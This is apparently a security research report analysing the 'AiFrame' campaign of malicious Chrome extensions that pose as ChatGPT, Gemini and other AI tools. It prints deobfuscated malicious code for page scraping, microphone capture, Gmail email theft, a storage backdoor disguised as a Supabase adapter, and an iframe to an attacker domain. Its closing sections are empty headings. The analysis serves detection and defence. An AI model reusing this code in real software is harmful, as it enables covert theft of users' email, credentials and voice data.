AiFrame — Weaponised AI Chrome Extensions Targeting Enterprise Email and Credentials

Executive Summary

Reverse engineering of 29 malicious Chrome extensions from the AiFrame campaign — impersonating ChatGPT, Gemini, Claude, Grok, DeepSeek, and Llama — reveals five distinct attack capabilities: full-page content scraping via embedded Mozilla Readability, microphone capture via Web Speech API, Gmail email theft via DOM MutationObservers, a remote storage backdoor disguised as a "Supabase auth adapter," and data exfiltration through attacker-controlled iframes. All data flows through tapnetic[.]pro and onlineapp[.]pro infrastructure.

Recommendation: Organizations should immediately audit for these extension IDs across managed endpoints. Affected users should remove the extensions and rotate all credentials.

Eight extensions contain a remote storage backdoor disguised as a "Supabase auth adapter," providing the C2 server full read/write/delete access to the extension's storage — including authentication tokens and user data. The campaign infrastructure spans 8 C2 domains including softoolunity[.]com, softoolbox[.]com, and softoolbase[.]com. Russian-language comments in the source code provide an attribution indicator.

The three-family structure is consistent with an iterative development process. Family B (DeepSeek variants) exhibits the simplest architecture, suggesting it may represent an early prototype. Family A introduces content extraction and voice capture capabilities. Family C represents the most advanced iteration, incorporating dedicated Gmail targeting with an integrated paywall monetization layer.

Deobfuscated content extraction handler from the actual extension — clones the full DOM and extracts structured text via Mozilla Readability

// Content script: handles "get-page-content" request from C2
if (x.type === "get-page-content") {
    const clone = document.cloneNode(true);       // Clones ENTIRE page DOM
    const article = new Readability(clone).parse();  // Extracts article text
    sendResponse({
        content: {
            title:       article?.title,       // Page title
            content:     article?.content,      // Full HTML content
            textContent: article?.textContent,  // Plain text of entire page
            excerpt:     article?.excerpt,      // Summary
            siteName:    article?.siteName,     // Website name
            byline:      article?.byline        // Author
        }
    });
}

if (x.type === "start-voice-recognition") {
    const SpeechAPI = window.SpeechRecognition || window.webkitSpeechRecognition;
    const recognition = new SpeechAPI();
    recognition.lang = x.language || "en-US";
    recognition.interimResults = false;

    recognition.onresult = (event) => {
        const transcript = event.results[0][0].transcript;
        sendResponse({ transcript: transcript });  // Sent to C2
    };

    recognition.start();  // Activates microphone
    return true;          // Keeps channel open for async response
}

// MutationObserver watches Gmail for new email content
const observer = new MutationObserver((mutations) => {
    for (let mutation of mutations) {
        if (mutation.type === "childList") {
            for (let node of mutation.addedNodes) {
                // Polls every 500ms for email content
                setInterval(() => {
                    const emailContainer = document.querySelector(".adn.ads");
                    if (emailContainer) {
                        const emailText = emailContainer.textContent?.replace(/\n/g, " ");
                        // Injects "AI" button that sends email to C2
                        processMessageDialog(composeArea, emailText);
                    }
                }, 500);
            }
        }
    }
});
observer.observe(document.body, { childList: true, subtree: true });

// Background script: external message handler
chrome.runtime.onMessageExternal.addListener((request, sender, respond) => {
    // Only accepts messages from C2 domains
    if (sender.url.includes("onlineapp.pro") ||
        sender.url.includes("onlineapp.live") ||
        sender.url.includes("onlineapp.stream")) {

        if (request.source === "supabase-auth-adapter") {  // Disguised name
            switch (request.action) {
                case "getItem":    // READ any stored data
                    chrome.storage.sync.get(key, r => respond(r));
                    break;
                case "setItem":    // WRITE arbitrary data
                    chrome.storage.sync.set({[key]: value});
                    break;
                case "removeItem": // DELETE stored data
                    chrome.storage.sync.remove(key);
                    break;
            }
        }
        else if (request.type === "broadcast")
            notifyConnectedClients(request.data); // Push to all C2 clients
    }
});

// Persistent connection channel — keeps C2 link alive
chrome.runtime.onConnectExternal.addListener((port) => {
    if (port.sender?.url?.includes("onlineapp.pro") ||
        port.sender?.url?.includes("onlineapp.live") ||
        port.sender?.url?.includes("onlineapp.stream"))
        connectionSet.add(port);       // Maintains open channel
    else
        port.disconnect();
});

This backdoor enables remote read access to authentication tokens, session data, and user preferences stored within the extension. The write capability permits injection of arbitrary data, including modified configurations. The externally_connectable manifest entry authorizes Chrome to permit these cross-origin messages without user interaction. The "supabase-auth-adapter" naming convention is designed to appear as a legitimate Supabase integration during code review.

// Side panel renders an iframe to the C2 server
return createElement("iframe", {
    src: `https://gemini.tapnetic.pro/${lang}/new-chat?ext=1&theme=${theme}&username=${user}`,
    style: {
        width:      "100%",
        height:     "100%",
        zIndex:     999999999,
        position:   "fixed",
        inset:      "0",
        border:     "none",
        visibility: "visible"
    }
});

The iframe injection code — a fullscreen, borderless overlay connecting directly to the attacker's C2 domain

The tapnetic[.]pro cover website, presenting as a legitimate SaaS business to mask the primary C2 infrastructure

VirusTotal passive DNS records revealing the full subdomain infrastructure of tapnetic[.]pro — each subdomain impersonates a different AI brand

Evasion Techniques Identified

Immediate Actions

Network & Endpoint